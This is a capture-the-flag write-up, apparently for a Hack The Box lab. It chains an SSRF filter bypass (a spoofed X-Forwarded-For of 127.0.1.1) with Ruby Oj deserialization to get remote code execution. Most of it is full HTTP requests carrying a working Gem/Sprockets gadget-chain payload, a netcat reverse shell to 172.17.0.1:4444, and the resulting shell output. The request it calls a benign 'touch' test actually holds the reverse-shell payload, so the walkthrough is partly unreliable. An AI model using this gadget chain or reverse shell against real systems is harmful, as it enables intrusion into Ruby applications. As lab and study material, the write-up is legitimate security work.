Oj (“Optimized JSON”) is a fast JSON parser and object marshaller for Ruby. Because Oj.load (in its default mode) can instantiate arbitrary Ruby objects from JSON, it behaves like Ruby’s Marshal and is susceptible to gadget-chain RCE. A quick sanity check of how Oj round-trips objects:
irb
require 'oj'
h = { 'one' => 1, 'array' => [ true, false ] }
json = Oj.dump(h)
/tmp $ irb
irb(main):001:0> require 'oj'
=> true
irb(main):002:0> h = { 'one' => 1, 'array' => [ true, false ] }
irb(main):003:0> json = Oj.dump(h)
=> "{\"one\":1,\"array\":[true,false]}"
Bypassing the anti-SSRF check
The admin SSRF posts a {"url":..., "body":...} to the backend. The anti_ssrf list only blocks 127.0.0.1, ::1, and 0.0.0.0, but request.ip honors the X-Forwarded-For header. By setting X-Forwarded-For: 127.0.1.1 and pointing the SSRF at http://127.0.1.1:3000/user/healthcheck, the resolved IP is in 127.x.x.x but is not the blocked 127.0.0.1 — so the check passes while still hitting localhost. First a harmless test body:
POST /admin HTTP/1.1
Host: localhost:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:1337/admin
Content-Type: application/json
Origin: http://localhost:1337
Content-Length: 92
Connection: close
Cookie: session=eyJhdXRoIjoiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SjFjMlZ5Ym1GdFpTSTZJblJsYzNRaUxDSmxlSEFpT2pFMk9UQXdPRFkxTkRWOS5VOFZaSV9SdWNCWTYyVW1OSFVZTDNTcUk0d0hiNWhoeHJOei1nMWlRVGRNIn0.ZLxYMQ.011VtlXVW_4wAlj7zU1yvgkprlw; __wzd85872c73336b56575cc9=1690065782|ecb1b92ba805; jwt=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly8xMjcuMC4wLjE6MTMzNy9wcm92aWRlci9qd2tzLmpzb24iLCJ0eXAiOiJKV1QifQ.eyJ1c2VybmFtZSI6ImxlYW4iLCJhY2NvdW50X3R5cGUiOiJtb2RlcmF0b3IifQ.bVYJjp4i9nZvHP9c1SKob1Z0jxYAaa_5poYWOnjdkMCk-K346qTFghL2jrz9v414kzLaZ6UXhobVDaOMQnf6JcYrmNUMc9pferDNDob_bNTqvicJzl_sCHTxv0eQXGqh4a6_ItaF3VWZjIlLC5VW8gZTdSyn2mvi3WpMYt7H2xXpS8-oaenrz2-lLFWwZaQX_kuwXVu1g28H7WNrk4gfW-qOoYpc88E97YVmtGzD8bN0bGwBVNtX3F-azY06F4V4rWomKhmSCsSsv8PeEO_mNE7-soiaQ473SyZ1NBYePtMGjU7Ilv8mtUD29qU6ygshvP_8xpFdrmmAO00btY18kg; session_token=26cb3b98-46e5-413e-bb1e-d31da4bbce54
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 127.0.1.1
{"url":"http://127.0.1.1:3000/user/healthcheck","body":"{}"}
{"url":"http://127.0.1.1:3000/user/healthcheck","body":"{\"one\":1,\"array\":[true,false]}"}
The gadget chain
With the SSRF reaching Oj.load, we drop in a known Ruby deserialization gadget chain. This is the modified Maini/Jaiswal chain documented in Bishop Fox’s Ruby Vulnerabilities: Exploiting Dangerous Open, Send and Deserialization Operations, which works in Oj’s JSON format under Ruby 3.1.1p18 / Rails 7.0.2.3. It ends in a Sprockets::ERBProcessor evaluating an ERB template, giving arbitrary command execution: Oj’s default mode honors the ^o (instantiate object) and ^c (resolve class) directives in the JSON, wiring together the stdlib/Rails classes so that the Sprockets::ERBProcessor’s :data field — <%= system('...') %> — is evaluated during deserialization. Pretty-printed:
{\"^#1\":[[{\"^c\":\"Gem::SpecFetcher\"},{\"^o\":\"Gem::Installer\"},{\"^o\":\"Gem::Requirement\",\"requirements\":{\"^o\":\"Gem::Package::TarReader\",\"io\":{\"^o\":\"Net::BufferedIO\",\"io\":{\"^o\":\"Gem::Package::TarReader::Entry\",\"read\":2,\"header\":\"bbbb\"},\"debug_output\":{\"^o\":\"Logger\",\"logdev\":{\"^o\":\"Rack::Response\",\"buffered\":false,\"body\":{\"^o\":\"Set\",\"hash\":{\"^#2\":[{\"^o\":\"Gem::Security::Policy\",\"name\":{\":filename\":\"/tmp/xyz.txt\",\":environment\":{\"^o\":\"Rails::Initializable::Initializer\",\"context\":{\"^o\":\"Sprockets::Context\"}},\":data\":\"<%= system('touch /tmp/rce10b.txt') %>\",\":metadata\":{}}},true]}},\"writer\":{\"^o\":\"Sprockets::ERBProcessor\"}}}}}}],\"dummy_value\"]}
First, confirm code execution with a benign touch /tmp/rce10b.txt. The gadget is embedded as the escaped body value sent through the SSRF:
POST /admin HTTP/1.1
Host: localhost:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:1337/admin
Content-Type: application/json
Origin: http://localhost:1337
Content-Length: 797
Connection: close
Cookie: session=eyJhdXRoIjoiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SjFjMlZ5Ym1GdFpTSTZJblJsYzNRaUxDSmxlSEFpT2pFMk9UQXdPRFkxTkRWOS5VOFZaSV9SdWNCWTYyVW1OSFVZTDNTcUk0d0hiNWhoeHJOei1nMWlRVGRNIn0.ZLxYMQ.011VtlXVW_4wAlj7zU1yvgkprlw; __wzd85872c73336b56575cc9=1690065782|ecb1b92ba805; jwt=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly8xMjcuMC4wLjE6MTMzNy9wcm92aWRlci9qd2tzLmpzb24iLCJ0eXAiOiJKV1QifQ.eyJ1c2VybmFtZSI6ImxlYW4iLCJhY2NvdW50X3R5cGUiOiJtb2RlcmF0b3IifQ.bVYJjp4i9nZvHP9c1SKob1Z0jxYAaa_5poYWOnjdkMCk-K346qTFghL2jrz9v414kzLaZ6UXhobVDaOMQnf6JcYrmNUMc9pferDNDob_bNTqvicJzl_sCHTxv0eQXGqh4a6_ItaF3VWZjIlLC5VW8gZTdSyn2mvi3WpMYt7H2xXpS8-oaenrz2-lLFWwZaQX_kuwXVu1g28H7WNrk4gfW-qOoYpc88E97YVmtGzD8bN0bGwBVNtX3F-azY06F4V4rWomKhmSCsSsv8PeEO_mNE7-soiaQ473SyZ1NBYePtMGjU7Ilv8mtUD29qU6ygshvP_8xpFdrmmAO00btY18kg; session_token=26cb3b98-46e5-413e-bb1e-d31da4bbce54
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 127.0.1.1
{"url":"http://127.0.1.1:3000/user/healthcheck","body":"{\"^#1\":[[{\"^c\":\"Gem::SpecFetcher\"},{\"^o\":\"Gem::Installer\"},{\"^o\":\"Gem::Requirement\",\"requirements\":{\"^o\":\"Gem::Package::TarReader\",\"io\":{\"^o\":\"Net::BufferedIO\",\"io\":{\"^o\":\"Gem::Package::TarReader::Entry\",\"read\":2,\"header\":\"bbbb\"},\"debug_output\":{\"^o\":\"Logger\",\"logdev\":{\"^o\":\"Rack::Response\",\"buffered\":false,\"body\":{\"^o\":\"Set\",\"hash\":{\"^#2\":[{\"^o\":\"Gem::Security::Policy\",\"name\":{\":filename\":\"/tmp/xyz.txt\",\":environment\":{\"^o\":\"Rails::Initializable::Initializer\",\"context\":{\"^o\":\"Sprockets::Context\"}},\":data\":\"<%= system('nc 172.17.0.1 4444 -e /bin/sh') %>\",\":metadata\":{}}},true]}},\"writer\":{\"^o\":\"Sprockets::ERBProcessor\"}}}}}}],\"dummy_value\"]}"}
The backend returns a 500 with a large error body, but the gadget still fires before the error path:
HTTP/1.1 200 OK
Date: Mon, 24 Jul 2023 01:12:48 GMT
Content-Type: text/plain; charset=utf-8
Connection: close
Content-Length: 16700
{"status":500,"error":"Internal Server Error", ...[snip]...
Verifying the marker file proves RCE — rce10b.txt was created in /tmp by the www user:
/tmp $ ls -la
drwxr-xr-x 1 root root 4096 Jul 23 19:49 ..
-rw-r--r-- 1 www www 0 Jul 24 01:12 rce10b.txt
Going from RCE to a shell
Swapping the benign command for a reverse shell — changing system('touch /tmp/rce10b.txt') to system('nc 172.17.0.1 4444 -e /bin/sh') — turns the gadget into an interactive shell back to our listener:
POST /admin HTTP/1.1
Host: localhost:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:1337/admin
Content-Type: application/json
Origin: http://localhost:1337
Content-Length: 805
Connection: close
Cookie: session=eyJhdXRoIjoiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SjFjMlZ5Ym1GdFpTSTZJblJsYzNRaUxDSmxlSEFpT2pFMk9UQXdPRFkxTkRWOS5VOFZaSV9SdWNCWTYyVW1OSFVZTDNTcUk0d0hiNWhoeHJOei1nMWlRVGRNIn0.ZLxYMQ.011VtlXVW_4wAlj7zU1yvgkprlw; __wzd85872c73336b56575cc9=1690065782|ecb1b92ba805; jwt=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly8xMjcuMC4wLjE6MTMzNy9wcm92aWRlci9qd2tzLmpzb24iLCJ0eXAiOiJKV1QifQ.eyJ1c2VybmFtZSI6ImxlYW4iLCJhY2NvdW50X3R5cGUiOiJtb2RlcmF0b3IifQ.bVYJjp4i9nZvHP9c1SKob1Z0jxYAaa_5poYWOnjdkMCk-K346qTFghL2jrz9v414kzLaZ6UXhobVDaOMQnf6JcYrmNUMc9pferDNDob_bNTqvicJzl_sCHTxv0eQXGqh4a6_ItaF3VWZjIlLC5VW8gZTdSyn2mvi3WpMYt7H2xXpS8-oaenrz2-lLFWwZaQX_kuwXVu1g28H7WNrk4gfW-qOoYpc88E97YVmtGzD8bN0bGwBVNtX3F-azY06F4V4rWomKhmSCsSsv8PeEO_mNE7-soiaQ473SyZ1NBYePtMGjU7Ilv8mtUD29qU6ygshvP_8xpFdrmmAO00btY18kg; session_token=26cb3b98-46e5-413e-bb1e-d31da4bbce54
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 127.0.1.1
{"url":"http://127.0.1.1:3000/user/healthcheck","body":"{\"^#1\":[[{\"^c\":\"Gem::SpecFetcher\"},{\"^o\":\"Gem::Installer\"},{\"^o\":\"Gem::Requirement\",\"requirements\":{\"^o\":\"Gem::Package::TarReader\",\"io\":{\"^o\":\"Net::BufferedIO\",\"io\":{\"^o\":\"Gem::Package::TarReader::Entry\",\"read\":2,\"header\":\"bbbb\"},\"debug_output\":{\"^o\":\"Logger\",\"logdev\":{\"^o\":\"Rack::Response\",\"buffered\":false,\"body\":{\"^o\":\"Set\",\"hash\":{\"^#2\":[{\"^o\":\"Gem::Security::Policy\",\"name\":{\":filename\":\"/tmp/xyz.txt\",\":environment\":{\"^o\":\"Rails::Initializable::Initializer\",\"context\":{\"^o\":\"Sprockets::Context\"}},\":data\":\"<%= system('nc 172.17.0.1 4444 -e /bin/sh') %>\",\":metadata\":{}}},true]}},\"writer\":{\"^o\":\"Sprockets::ERBProcessor\"}}}}}}],\"dummy_value\"]}"}
Flag
With a netcat listener waiting, the gadget connects back and we read the flag as the www user.
$ nc -nlvp 4444
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.3:44599.
id
uid=1000(www) gid=1000(www) groups=1000(www)
cat /app/api/flag.txt
HTB{F4K3_FL4G_F0R_T3ST1NG!}
